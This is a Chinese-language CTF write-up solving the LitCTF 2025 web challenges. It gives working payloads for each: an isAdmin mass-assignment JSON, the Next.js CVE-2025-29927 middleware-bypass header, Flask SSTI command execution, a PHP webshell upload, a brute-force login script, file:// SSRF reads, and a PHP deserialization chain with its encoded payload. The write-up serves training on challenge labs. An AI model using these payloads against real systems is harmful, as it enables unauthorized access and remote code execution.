LitCTF 2025 Web WP&复现

打Parloo杯线下的时候顺手搓了几题,感觉题目质量还是很不错的

多重宇宙日记

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>

提示键值在setting下,又需要管理员权限,所以payload:

1
{"settings": {"isAdmin": true}}

nest_js

一开始我还以为是最近的漏洞呢(题目版本15.2.2),而且关键试了一下还真的打进去,但是与题目无关就是了

NVD - CVE-2025-29927

漏洞分析 | CVE-2025-29927:Next.js 中间件授权绕过-CSDN博客

Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) 复现利用与原理分析_cve-2025-29927复现-CSDN博客

CVE漏洞POC:

1
2
3
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

二编:

预期解还真是这个CVE,那为啥上次没成功呢(?)

回归本题:

弱密码爆破

admin/password

星愿信箱

1
看见Flask和Python,可以尝试SSTI模板注入,输入{{7*7}}不行,可以尝试{%%}

发现成功回显49,证明存在SSTI

之后就正常SSTI:(过滤了cat)(nl也可以)

1
{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

另解:

{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

ez_file

主页有关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const particlesContainer = document.getElementById('particles');
for (let i = 0; i < 30; i++) {
const particle = document.createElement('div');
particle.className = 'particle';
particle.style.width = `${Math.random() * 20 + 5}px`;
particle.style.height = particle.style.width;
particle.style.left = `${Math.random() * 100}%`;
particle.style.top = `${Math.random() * 100}%`;
particle.style.animationDelay = `${Math.random() * 5}s`;
particlesContainer.appendChild(particle);
}

document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const username = this.querySelector('input[name="username"]').value;
const password = this.querySelector('input[name="password"]').value;
const encoder = new TextEncoder();
const encode = str => btoa(String.fromCharCode(...encoder.encode(str)));
this.querySelector('input[name="username"]').value = encode(username);
this.querySelector('input[name="password"]').value = encode(password);
this.submit();
});
//file查看头像

发现可以file查看头像

正常上传发现报错有include(但这个上传的语法有点丑陋和错误,勿看())

然后拦截改成

1
2
3
4
Content-Disposition: form-data; name="avatar"; filename="f1ag.jpg"
Content-Type: application/octet-stream

<?= system($_REQUEST['cmd']);?>

easy_signin

扫描目录可以发现有login.html

登上去看看,可以看见JS源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;


loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}

const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();


const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);


const timestamp = Date.now().toString(); //五分钟


const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});

passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
</script>

这部分可以直接让AI跑个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
import time
import requests

# 目标URL
url = "http://node6.anna.nssctf.cn:23891/login.php"
secret = "easy_signin"

# 假设已知用户名MD5(如admin)
username_md5 = "21232f297a57a5a743894a0e4a801fc3"
short_user = username_md5[:6]

# 常见密码字典
passwords = ["123456", "password", "admin", "admin123", "root"]

for pwd in passwords:
# 计算密码MD5及短哈希
pwd_md5 = hashlib.md5(pwd.encode()).hexdigest()
short_pass = pwd_md5[:6]

# 生成时间戳(毫秒)
timestamp = str(int(time.time() * 1000))

# 计算签名
sign_str = short_user + short_pass + timestamp + secret
sign = hashlib.md5(sign_str.encode()).hexdigest()

# 构造请求
headers = {"X-Sign": sign}
data = {
"username": username_md5,
"password": pwd_md5,
"timestamp": timestamp
}

# 发送请求
response = requests.post(url, headers=headers, data=data)
if response.json().get("code") == 200:
print(data)
print(sign)
print(f"Success! Password: {pwd}")
break

可以得到弱密码admin/admin123(注意这边得到结果后要尽快使用,不然会过期需要重新生成)

1
2
3
{'username': '21232f297a57a5a743894a0e4a801fc3', 'password': '0192023a7bbd73250516f069df18b500', 'timestamp': '1748427218398'}
5b99ff40da7ac00d71b3414bd4ee4eb6
Success! Password: admin123

随后直接抓包拦截然后放包

但是我这边放包后还没有回显也,那就只能换一种思路了,如果你们那边可以,请转:

LitCTF 2025 不知道 WP | 不知道のblog

那么我们换一种思路:

还是刚刚的地方,可以看到api.js,访问可得:

然后可以任意读一下文件:

http://node6.anna.nssctf.cn:23891/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

可得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;

if ($protocol_block) {
echo "禁止访问:不允许使用 {$proto} 协议";
} elseif ($log_block) {
echo "禁止访问:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不见哦";
} else {
echo "<b>".$url." 的快照如下:</b><br><br>";
echo "<pre>";
curl($url);
include($url);
echo "</pre>";
}
}
?>

我们直接访问可得

NSSCTF{9ada0482-8f33-4091-937c-1d4c46519468}

君の名は

Litctf2025-君の名はwp - Litsasuk - 博客园

进去直接源码看见反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

把O改成C这边可以这样

1
2
3
4
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize

就是在最后

$b = array("PusTR"=>$c)

(创建一个关联数组,将对象 $c 放入数组中并赋予键名为 "PusTR"。这个数组随后被用来创建一个 ArrayObject 对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)

$a = new ArrayObject($b);

回归源码:

先看开头的:

1
create_function("", 'die(`/readflag`);');

创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag

而匿名函数名字可以直接输出:

1
2
3
<?php 
$a = create_function("","die(` /readflag`);");
var_dump($a);

但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入

知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:

1
2
3
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}

这边只有函数名是可控的,就是说需要调用一个无参函数

ReflectionFunctioninvoke方法可以调用函数,且无参

(借用一下官方WP中的图)

再往下看:

1
2
3
4
5
6
7
8
9
10
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}


public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}

这里的$func会被赋值为flag,然后$args中就是flag()括号里的值

分析完就很清晰了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a; //调用不存在的$a->flag($c->kuchikamizake, $c->name),触发call

$d = array("PusTR"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));


?>

#当 $a->musubi() 被调用时,实际上是在调用 $b,因为 $a->musubi 被设置为 $b
#$b 是一个 Mitsuha 类的实例,Mitsuha 类有一个 __invoke() 方法,因此 $b 可以像函数一样被调用
#$b->__invoke() 返回 $b->memory.$b->thread
#$b->thread 是 $c,因此 $b->__invoke() 返回 $b->memory.$c
#$c被当作字符串调用(拼接),触发__toString()




#Litctf2025=C%3A11%3A%22ArrayObject%22%3A245%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A5%3A%22PusTR%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

(建议重开环境再传)